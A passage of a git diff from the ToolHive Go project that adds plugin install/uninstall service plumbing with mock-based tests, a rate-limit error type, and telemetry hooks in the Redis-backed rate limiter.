"github.com/stacklok/toolhive/pkg/plugins" +) + +// normalizeProjectRoot validates and normalizes the scope/projectRoot pair for +// a plugin operation. Mirror of skillsvc.normalizeProjectRoot; plugins.Scope is +// an alias of skills.Scope, so the normalization rule is identical. +func normalizeProjectRoot(scope plugins.Scope, projectRoot string) (plugins.Scope, string, error) { + normalizedScope, normalizedRoot, err := plugins.NormalizeScopeAndProjectRoot(scope, projectRoot) + if err != nil { + return normalizedScope, normalizedRoot, httperr.WithCode(err, http.StatusBadRequest) + } + return normalizedScope, normalizedRoot, nil +} + +// defaultScope returns ScopeUser when s is empty, otherwise returns s unchanged. +func defaultScope(s plugins.Scope) plugins.Scope { + if s == "" { + return plugins.ScopeUser + } + return s +} diff --git a/pkg/plugins/pluginsvc/service.go b/pkg/plugins/pluginsvc/service.go index ca65df466b..23ae33b67b 100644 --- a/pkg/plugins/pluginsvc/service.go +++ b/pkg/plugins/pluginsvc/service.go @@ -3,16 +3,23 @@ // Package pluginsvc provides the default implementation of plugins.PluginService. // -// Phase 2 (this package) implements only the build/validate/push/list-builds/ -// delete-build/get-content surface. Install/uninstall/list/info land in Phase 3 -// (#5527); the New constructor returns the narrowed plugins.PluginService -// interface (which exposes only the Phase-2 methods), so Phase 3 widens both -// the interface and the concrete type together. +// Phase 3 widens the Phase-2 build/validate/push/content surface with +// Install/Uninstall/List/Info and the per-client MaterializationAdapter seam. +// The New constructor returns plugins.PluginService, which now exposes the full +// lifecycle; callers pass WithStore/WithMaterializers/WithGroupManager (and the +// other Phase-3 options) to wire persistence and materialization. package pluginsvc import ( + "context" + "sync" + ociplugins "github.com/stacklok/toolhive-core/oci/plugins" + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/git" + "github.com/stacklok/toolhive/pkg/groups" "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" ) // Option configures the plugin service. @@ -39,33 +46,136 @@ func WithRegistryClient(rc ociplugins.RegistryClient) Option { } } -// Phase 2 does NOT include WithStore/WithPathResolver/WithInstaller/ -// WithGroupManager/WithSkillLookup/WithGitResolver — those are Phase 3 -// (install/uninstall/info flows). Adding them later is a non-breaking change -// (new options only). +// WithStore sets the persistence store for installed plugins. +func WithStore(store storage.PluginStore) Option { + return func(s *service) { + s.store = store + } +} + +// WithGroupManager sets the group manager for plugin group membership. +func WithGroupManager(mgr groups.Manager) Option { + return func(s *service) { + s.groupManager = mgr + } +} + +// WithMaterializers sets the per-client-type materialization adapters used to +// install a plugin tree into a target client's directory layout. +func WithMaterializers(m map[string]plugins.MaterializationAdapter) Option { + return func(s *service) { + s.materializers = m + } +} + +// WithGitClient sets a fixed git client used by the git install flow, bypassing +// per-clone auth resolution. Primarily used for testing with mock clients; +// mirrors gitresolver.WithGitClient. +func WithGitClient(c git.Client) Option { + return func(s *service) { + s.gitClient = c + } +} + +// WithClientManager sets the client manager used to validate that requested +// clients support plugins. Optional: when nil, the materializers map is the +// sole source of truth for plugin-supporting clients. +func WithClientManager(cm *client.ClientManager) Option { + return func(s *service) { + s.clientManager = cm + } +} + +// PluginSearchHit is a single result from a registry-name plugin search. It is +// the plugin analogue of a registry skill hit, used by the registry-name +// install flow that lands in a later Phase-3 wave. +type PluginSearchHit struct { + // Name is the plugin name (kebab-case). + Name string `json:"name"` + // Description is a human-readable description of the plugin. + Description string `json:"description,omitempty"` + // Packages lists the OCI packages that publish this plugin. + Packages []PluginPackage `json:"packages,omitempty"` +} + +// PluginPackage describes a single OCI package backing a plugin search hit. +type PluginPackage struct { + // Reference is the full OCI reference (e.g. ghcr.io/org/plugin:v1). + Reference string `json:"reference"` + // Type is the package type (e.g. "oci"). + Type string `json:"type,omitempty"` +} + +// PluginLookup resolves a plain plugin name against a registry/index. This seam +// stays unwired in Wave 0; the registry-name install flow lands in a later +// Phase-3 wave. It mirrors skillsvc.SkillLookup. +type PluginLookup interface { + SearchPlugins(ctx context.Context, query string) ([]PluginSearchHit, error) +} + +// WithPluginLookup sets the registry-based plugin lookup for name resolution. +func WithPluginLookup(pl PluginLookup) Option { + return func(s *service) { + s.pluginLookup = pl + } +} + +// pluginLock provides per-plugin mutual exclusion keyed by scope/name/projectRoot. +// Entries are never evicted. This is acceptable because the number of distinct +// plugins on a single machine is expected to remain small (< 1000). The key +// shape (scope/name/projectRoot) is identical to skillsvc.skillLock. // -// The per-(scope,name,projectRoot) lock (mirroring skillsvc.skillLock) is also -// Phase 3: Phase 2 has no install/uninstall path that needs mutual exclusion. - -// service is the default implementation of the Phase-2 plugin surface. -// It implements Validate/Build/Push/ListBuilds/DeleteBuild/GetContent, which -// together satisfy the narrowed plugins.PluginService interface. Phase 3 will -// add the install/uninstall/list/info methods, a store field, and widen the -// interface. +// The install/uninstall flows acquire per-key mutexes through lock() (mirroring +// skillsvc.service.install/uninstall). +type pluginLock struct { + mu sync.Mutex + // locks holds per-key mutexes. INVARIANT: entries must never be deleted + // from this map. The two-phase lock() method depends on pointers remaining + // valid after the global mutex is released. See lock() for details. + locks map[string]*sync.Mutex +} + +// lock acquires a per-plugin mutex and returns a function that releases it. +func (pl *pluginLock) lock(name string, scope plugins.Scope, projectRoot string) func() { + pl.mu.Lock() + key := string(scope) + "/" + name + "/" + projectRoot + m, ok := pl.locks[key] + if !ok { + m = &sync.Mutex{} + pl.locks[key] = m + } + pl.mu.Unlock() + + m.Lock() + return m.Unlock +} + +// service is the default implementation of plugins.PluginService. It implements +// the build/validate/push/content surface (Phase 2) and the install/uninstall/ +// list/info surface (Phase 3), the latter driving per-client materialization +// through the configured MaterializationAdapters. type service struct { - ociStore *ociplugins.Store - packager ociplugins.PluginPackager - registry ociplugins.RegistryClient + locks pluginLock + store storage.PluginStore + groupManager groups.Manager + materializers map[string]plugins.MaterializationAdapter + ociStore *ociplugins.Store + packager ociplugins.PluginPackager + registry ociplugins.RegistryClient + pluginLookup PluginLookup + gitClient git.Client + clientManager *client.ClientManager } -// New creates a new plugin service and returns it as a plugins.PluginService -// (the narrowed Phase-2 interface exposing only -// Validate/Build/Push/ListBuilds/DeleteBuild/GetContent). Phase 3 (#5527) -// widens the interface and concrete type together to add install/uninstall/ -// list/info; callers that need persistence then pass a WithStore option (added -// in that PR). +// New creates a new plugin service and returns it as a plugins.PluginService. +// Callers wire persistence (WithStore), per-client materialization +// (WithMaterializers), group membership (WithGroupManager), git installs +// (WithGitClient), and registry-name lookup (WithPluginLookup) via options; +// the OCI store/packager/registry options carry over from Phase 2. func New(opts ...Option) plugins.PluginService { - s := &service{} + s := &service{ + locks: pluginLock{locks: make(map[string]*sync.Mutex)}, + } for _, o := range opts { o(s) } diff --git a/pkg/plugins/pluginsvc/testhelpers_test.go b/pkg/plugins/pluginsvc/testhelpers_test.go index 111c9c5c3d..68e35b652a 100644 --- a/pkg/plugins/pluginsvc/testhelpers_test.go +++ b/pkg/plugins/pluginsvc/testhelpers_test.go @@ -4,12 +4,15 @@ package pluginsvc import ( + "encoding/json" "fmt" "os" "path/filepath" "testing" godigest "github.com/opencontainers/go-digest" + specs "github.com/opencontainers/image-spec/specs-go" + ocispec "github.com/opencontainers/image-spec/specs-go/v1" "github.com/stretchr/testify/require" ociplugins "github.com/stacklok/toolhive-core/oci/plugins" @@ -49,3 +52,63 @@ func putTestManifest(t *testing.T, store *ociplugins.Store) godigest.Digest { require.NoError(t, err) return d } + +// buildPluginManifestWithLayerSize stores a plugin artifact whose manifest +// declares an oversized layer (without storing matching blob content), so the +// layer-size guard in extractPluginOCIContent rejects it before GetBlob. +// Mirrors skillsvc.buildManifestWithLayerSize. +func buildPluginManifestWithLayerSize(t *testing.T, store *ociplugins.Store, pluginName string, layerSize int64) godigest.Digest { + t.Helper() + imgConfig := ocispec.Image{ + Config: ocispec.ImageConfig{ + Labels: map[string]string{ + ociplugins.LabelPluginName: pluginName, + ociplugins.LabelPluginDescription: "test", + ociplugins.LabelPluginVersion: "1.0.0", + }, + }, + } + configBytes, err := json.Marshal(imgConfig) + require.NoError(t, err) + configDigest, err := store.PutBlob(t.Context(), configBytes) + require.NoError(t, err) + + layerBytes := []byte("layer") + layerDigest, err := store.PutBlob(t.Context(), layerBytes) + require.NoError(t, err) + + manifest := ocispec.Manifest{ + Versioned: specs.Versioned{SchemaVersion: 2}, + MediaType: ocispec.MediaTypeImageManifest, + ArtifactType: ociplugins.ArtifactTypePlugin, + Config: ocispec.Descriptor{ + MediaType: ocispec.MediaTypeImageConfig, + Digest: configDigest, + Size: int64(len(configBytes)), + }, + Layers: []ocispec.Descriptor{ + { + MediaType: ocispec.MediaTypeImageLayerGzip, + Digest: layerDigest, + Size: layerSize, + }, + }, + } + manifestBytes, err := json.Marshal(manifest) + require.NoError(t, err) + manifestDigest, err := store.PutManifest(t.Context(), manifestBytes) + require.NoError(t, err) + return manifestDigest +} + +// makeProjectRoot returns an eval-symlink-resolved temp directory with a .git +// subdir so NormalizeScopeAndProjectRoot accepts it as a project root. Mirror +// of skillsvc.makeProjectRoot. +func makeProjectRoot(t *testing.T) string { + t.Helper() + dir := t.TempDir() + resolved, err := filepath.EvalSymlinks(dir) + require.NoError(t, err) + require.NoError(t, os.MkdirAll(filepath.Join(resolved, ".git"), 0o755)) + return resolved +} diff --git a/pkg/plugins/pluginsvc/testservice_test.go b/pkg/plugins/pluginsvc/testservice_test.go new file mode 100644 index 0000000000..dcea0d508d --- /dev/null +++ b/pkg/plugins/pluginsvc/testservice_test.go @@ -0,0 +1,12 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +// newTestService builds a *service (the concrete type exposing the Phase-3 +// Install/Uninstall/List/Info methods) from the given options. The public New +// constructor returns the full plugins.PluginService interface; tests cast to +// the concrete type to exercise package-private state. +func newTestService(opts ...Option) *service { + return New(opts...).(*service) +} diff --git a/pkg/plugins/pluginsvc/uninstall.go b/pkg/plugins/pluginsvc/uninstall.go new file mode 100644 index 0000000000..1ea8609fa3 --- /dev/null +++ b/pkg/plugins/pluginsvc/uninstall.go @@ -0,0 +1,75 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "errors" + "fmt" + "net/http" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" +) + +// Uninstall removes an installed plugin and dematerializes it for all clients. +// Dematerialization is best-effort: errors are collected via errors.Join so a +// single client failure does not abort cleanup of the others. The DB record is +// always deleted (when present), making Uninstall idempotent. Mirror of +// skillsvc.Uninstall, substituting MaterializationAdapter.Dematerialize for +// pathResolver + installer.Remove. +func (s *service) Uninstall(ctx context.Context, opts plugins.UninstallOptions) error { + if err := plugins.ValidatePluginName(opts.Name); err != nil { + return httperr.WithCode(err, http.StatusBadRequest) + } + + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return err + } + scope = defaultScope(scope) + opts.ProjectRoot = projectRoot + + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + defer unlock() + + existing, err := s.store.Get(ctx, opts.Name, scope, opts.ProjectRoot) + if err != nil { + // Idempotent: a missing record is not an error. + if errors.Is(err, storage.ErrNotFound) { + return nil + } + return err + } + + // Dematerialize for each client — best-effort. + var cleanupErrs []error + for _, clientType := range existing.Clients { + adapter, ok := s.materializers[clientType] + if !ok { + continue + } + if dmErr := adapter.Dematerialize(ctx, plugins.DematerializeRequest{ + Name: opts.Name, + Scope: scope, + ProjectRoot: opts.ProjectRoot, + }); dmErr != nil { + cleanupErrs = append(cleanupErrs, fmt.Errorf("dematerializing plugin for client %q: %w", clientType, dmErr)) + } + } + + if err := s.store.Delete(ctx, opts.Name, scope, opts.ProjectRoot); err != nil { + return err + } + + if s.groupManager != nil { + if groupErr := groups.RemovePluginFromAllGroups(ctx, s.groupManager, opts.Name); groupErr != nil { + cleanupErrs = append(cleanupErrs, fmt.Errorf("removing plugin from groups: %w", groupErr)) + } + } + + return errors.Join(cleanupErrs...) +} diff --git a/pkg/plugins/pluginsvc/uninstall_test.go b/pkg/plugins/pluginsvc/uninstall_test.go new file mode 100644 index 0000000000..f2706b4baf --- /dev/null +++ b/pkg/plugins/pluginsvc/uninstall_test.go @@ -0,0 +1,204 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "errors" + "net/http" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestUninstall(t *testing.T) { + t.Parallel() + + t.Run("rejects invalid name with bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "INVALID"}) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("rejects project scope without root", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{ + Name: "my-plugin", + Scope: plugins.ScopeProject, + }) + require.Error(t, err) + }) + + // Dematerialize returns an error but store.Delete still runs and succeeds; + // the dematerialize error is surfaced via errors.Join. + t.Run("dematerialize error still deletes record and returns joined error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()). + Return(errors.New("permission denied")) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "dematerializing plugin for client") + assert.Contains(t, err.Error(), "permission denied") + }) + + // store.Delete fails: the dematerialize errors collected so far are dropped + // because Delete aborts the flow (its error is returned directly). This + // documents the current contract per the code: the collected cleanupErrs + // are only returned after a successful Delete. + t.Run("store delete failure aborts and returns the delete error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, ""). + Return(errors.New("db locked")) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "db locked") + }) + + // RemovePluginFromAllGroups fails: the error is joined into the final + // result (store.Delete already succeeded). + t.Run("group removal failure joins into result", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + gm := groupmocks.NewMockManager(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + // RemovePluginFromAllGroups calls List then Update for each matching group. + gm.EXPECT().List(gomock.Any()).Return(nil, errors.New("etcd unavailable")) + + svc := newTestService(WithStore(store), WithGroupManager(gm), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "removing plugin from groups") + assert.Contains(t, err.Error(), "etcd unavailable") + }) + + // A missing materializer for a stored client type is skipped (not an error); + // the remaining clients dematerialize and the record is deleted. + t.Run("missing materializer for stored client is skipped", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code", "ghost-client"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // Only claude-code has a materializer; ghost-client is silently skipped. + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.NoError(t, err) + }) + + // Multi-client: one dematerialize fails, the other succeeds; the record is + // still deleted and the failure is joined into the result. + t.Run("multi-client partial dematerialize failure joins errors", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code", "codex"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapterA.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + adapterB.EXPECT().Dematerialize(gomock.Any(), gomock.Any()). + Return(errors.New("codex config busy")) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "codex config busy") + }) + + // End-to-end happy path with group membership cleanup. + t.Run("full uninstall removes from groups", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + gm := groupmocks.NewMockManager(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + // RemovePluginFromAllGroups lists groups, finds one containing the plugin, updates it. + gm.EXPECT().List(gomock.Any()).Return([]*groups.Group{ + {Name: "mygroup", Plugins: []string{"my-plugin", "other"}}, + }, nil) + gm.EXPECT().Update(gomock.Any(), gomock.Any()).Return(nil) + + svc := newTestService(WithStore(store), WithGroupManager(gm), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.NoError(t, err) + }) +} diff --git a/pkg/plugins/service.go b/pkg/plugins/service.go index c077ff7170..599cd49b1d 100644 --- a/pkg/plugins/service.go +++ b/pkg/plugins/service.go @@ -9,14 +9,9 @@ import "context" // PluginService declares the plugin lifecycle surface (mirrors skills.SkillService). // -// Phase 2 implements ONLY: Validate, Build, Push, ListBuilds, DeleteBuild, and -// GetContent — the build/validate/push/content surface. The install/uninstall/ -// list/info methods are NOT declared on the interface yet: they land in Phase 3 -// (#5527), which will widen this interface (the only change is the addition; -// existing method signatures stay stable). The Phase-3 option/result types they -// will use (InstallOptions, InstallResult, UninstallOptions, InfoOptions, -// PluginInfo, ListOptions) are already declared in options.go as forward -// declarations of the Phase-3 contract. +// Phase 3 widens the Phase-2 surface with Install, Uninstall, List, and Info — +// the install/materialization lifecycle. The build/validate/push/content methods +// from Phase 2 stay stable; this is purely additive. type PluginService interface { // Validate checks whether a plugin definition is valid. Validate(ctx context.Context, path string) (*ValidationResult, error) @@ -32,4 +27,17 @@ type PluginService interface { // artifact without installing it. Works for both remote registry references // and local build tags. GetContent(ctx context.Context, opts ContentOptions) (*PluginContent, error) + // Install resolves a plugin reference (OCI, git, or registry name), extracts + // it, materializes it into each target client's directory layout via the + // configured MaterializationAdapters, and persists the install record. + Install(ctx context.Context, opts InstallOptions) (*InstallResult, error) + // Uninstall removes a plugin from all target clients (dematerialize) and + // deletes the install record. Idempotent for already-removed plugins. + Uninstall(ctx context.Context, opts UninstallOptions) error + // List returns installed plugins, optionally filtered by scope, client, or + // group membership. + List(ctx context.Context, opts ListOptions) ([]InstalledPlugin, error) + // Info returns details for a single installed plugin, including the + // component types each installed client adapter does NOT load. + Info(ctx context.Context, opts InfoOptions) (*PluginInfo, error) } diff --git a/pkg/ratelimit/errors.go b/pkg/ratelimit/errors.go new file mode 100644 index 0000000000..1f00743c67 --- /dev/null +++ b/pkg/ratelimit/errors.go @@ -0,0 +1,44 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "math" + "time" + + thvmcp "github.com/stacklok/toolhive/pkg/mcp" +) + +const ( + // CodeRateLimited is the JSON-RPC error code for rate-limited requests. + // Per RFC THV-0057: implementation-defined code in the -32000 to -32099 range. + CodeRateLimited int64 = -32029 + + // MessageRateLimited is the error message for rate-limited requests. + MessageRateLimited = "Rate limit exceeded" +) + +// RateLimitedError reports that a request exceeded its configured rate limit. +type RateLimitedError struct { + RetryAfter time.Duration +} + +var _ thvmcp.CodedError = (*RateLimitedError)(nil) + +func (*RateLimitedError) Error() string { + return MessageRateLimited +} + +// Code returns the ToolHive JSON-RPC-compatible code for rate-limited requests. +func (*RateLimitedError) Code() int64 { + return CodeRateLimited +} + +// Data returns structured retry metadata for transport adapters that cannot +// emit a custom JSON-RPC error object from the tool-handler seam. +func (e *RateLimitedError) Data() map[string]any { + return map[string]any{ + "retryAfterSeconds": int(math.Ceil(e.RetryAfter.Seconds())), + } +} diff --git a/pkg/ratelimit/limiter.go b/pkg/ratelimit/limiter.go index 3490c1cbaa..14fca1ce87 100644 --- a/pkg/ratelimit/limiter.go +++ b/pkg/ratelimit/limiter.go @@ -13,8 +13,11 @@ import ( "time" "github.com/redis/go-redis/v9" + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/metric" v1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/ratelimit/internal/bucket" ) @@ -36,15 +39,57 @@ type Decision struct { RetryAfter time.Duration } +// Allow checks whether identity may call toolName through limiter. +func Allow(ctx context.Context, limiter Limiter, identity *auth.Identity, toolName string) error { + if limiter == nil { + return nil + } + + // When no identity is present (unauthenticated), userID stays empty and + // per-user buckets are skipped — only shared limits apply. CEL validation + // ensures perUser rate limits require auth to be enabled. + var userID string + if identity != nil { + userID = identity.Subject + } + + decision, err := limiter.Allow(ctx, toolName, userID) + if err != nil { + return err + } + if !decision.Allowed { + return &RateLimitedError{RetryAfter: decision.RetryAfter} + } + return nil +} + // NewLimiter constructs a Limiter from CRD configuration. // Returns a no-op limiter (always allows) when crd is nil. // namespace and name identify the MCP server for Redis key derivation. func NewLimiter(client redis.Cmdable, namespace, name string, crd *v1beta1.RateLimitConfig) (Limiter, error) { + return newLimiter(client, namespace, name, crd, otel.GetMeterProvider()) +} + +func newLimiter( + client redis.Cmdable, + namespace string, + name string, + crd *v1beta1.RateLimitConfig, + meterProvider metric.MeterProvider, +) (Limiter, error) { if crd == nil { return noopLimiter{}, nil } - l := &limiter{client: client} + telemetry, err := newRateLimitTelemetry(meterProvider, namespace, name) + if err != nil { + return nil, fmt.Errorf("rate limit telemetry: %w", err) + } + + l := &limiter{ + client: client, + telemetry: telemetry, + } if crd.Shared != nil { b, err := newBucket(namespace, name, "shared", crd.Shared) @@ -97,9 +142,17 @@ type bucketSpec struct { refillPeriod time.Duration } +// limitCheck keeps a bucket paired with its metric dimensions. +type limitCheck struct { + bucket *bucket.TokenBucket + scope string + operationType string +} + // limiter is the concrete implementation of Limiter. type limiter struct { client redis.Cmdable + telemetry *rateLimitTelemetry serverBucket *bucket.TokenBucket // nil when no shared server limit toolBuckets map[string]*bucket.TokenBucket // tool name -> shared bucket perUserSpec *bucketSpec // nil when no server-level per-user limit @@ -111,13 +164,21 @@ type limiter struct { // a rejected per-tool or per-user call from draining other budgets. func (l *limiter) Allow(ctx context.Context, toolName, userID string) (*Decision, error) { // Collect applicable buckets in priority order. - var buckets []*bucket.TokenBucket + var checks []limitCheck if l.serverBucket != nil { - buckets = append(buckets, l.serverBucket) + checks = append(checks, limitCheck{ + bucket: l.serverBucket, + scope: rateLimitScopeShared, + operationType: rateLimitOperationServer, + }) } if toolName != "" && l.toolBuckets != nil { if tb, ok := l.toolBuckets[toolName]; ok { - buckets = append(buckets, tb) + checks = append(checks, limitCheck{ + bucket: tb, + scope: rateLimitScopeShared, + operationType: rateLimitOperationTool, + }) } } @@ -132,40 +193,58 @@ func (l *limiter) Allow(ctx context.Context, toolName, userID string) (*Decision if userID != "" { if l.perUserSpec != nil { s := l.perUserSpec - buckets = append(buckets, bucket.New( - s.namespace, s.serverName, - "user:"+userID, - s.maxTokens, s.refillPeriod, - )) + checks = append(checks, limitCheck{ + bucket: bucket.New( + s.namespace, s.serverName, + "user:"+userID, + s.maxTokens, s.refillPeriod, + ), + scope: rateLimitScopePerUser, + operationType: rateLimitOperationServer, + }) } if toolName != "" && l.perUserTools != nil { if s, ok := l.perUserTools[toolName]; ok { // Key prefix "user-tool:" is distinct from "user:" to prevent // collisions when a userID contains delimiter characters. - buckets = append(buckets, bucket.New( - s.namespace, s.serverName, - "user-tool:"+toolName+":"+userID, - s.maxTokens, s.refillPeriod, - )) + checks = append(checks, limitCheck{ + bucket: bucket.New( + s.namespace, s.serverName, + "user-tool:"+toolName+":"+userID, + s.maxTokens, s.refillPeriod, + ), + scope: rateLimitScopePerUser, + operationType: rateLimitOperationTool, + }) } } } - if len(buckets) == 0 { + if len(checks) == 0 { return &Decision{Allowed: true}, nil } + buckets := make([]*bucket.TokenBucket, len(checks)) + for i, check := range checks { + buckets[i] = check.bucket + } + + start := time.Now() rejectedIdx, err := bucket.ConsumeAll(ctx, l.client, buckets) + l.telemetry.recordCheckLatency(ctx, time.Since(start)) if err != nil { + l.telemetry.recordRedisError(ctx, err) return nil, fmt.Errorf("rate limit check: %w", err) } if rejectedIdx >= 0 { + l.telemetry.recordRejected(ctx, checks[rejectedIdx]) return &Decision{ Allowed: false, RetryAfter: buckets[rejectedIdx].RetryAfter(), }, nil } + l.telemetry.recordAllowed(ctx, checks) return &Decision{Allowed: true}, nil } diff --git a/pkg/ratelimit/limiter_test.go b/pkg/ratelimit/limiter_test.go index 147e22cd7e..c50ab9835f 100644 --- a/pkg/ratelimit/limiter_test.go +++ b/pkg/ratelimit/limiter_test.go @@ -4,6 +4,7 @@ package ratelimit import ( + "errors" "testing" "time" @@ -14,6 +15,7 @@ import ( metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" v1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/pkg/auth" ) func newTestClient(t *testing.T) (*redis.Client, *miniredis.Miniredis) { @@ -38,6 +40,67 @@ func TestNewLimiter_NilCRDReturnsNoop(t *testing.T) { assert.True(t, d.Allowed) } +func TestAllowNilLimiterAllows(t *testing.T) { + t.Parallel() + + err := Allow(t.Context(), nil, &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: "alice"}}, "echo") + + require.NoError(t, err) +} + +func TestAllowPassesIdentitySubject(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: "alice"}} + + err := Allow(t.Context(), limiter, identity, "echo") + + require.NoError(t, err) + assert.Equal(t, "echo", limiter.toolName) + assert.Equal(t, "alice", limiter.userID) +} + +func TestAllowNilIdentityUsesEmptyUserID(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + + err := Allow(t.Context(), limiter, nil, "echo") + + require.NoError(t, err) + assert.Equal(t, "echo", limiter.toolName) + assert.Empty(t, limiter.userID) 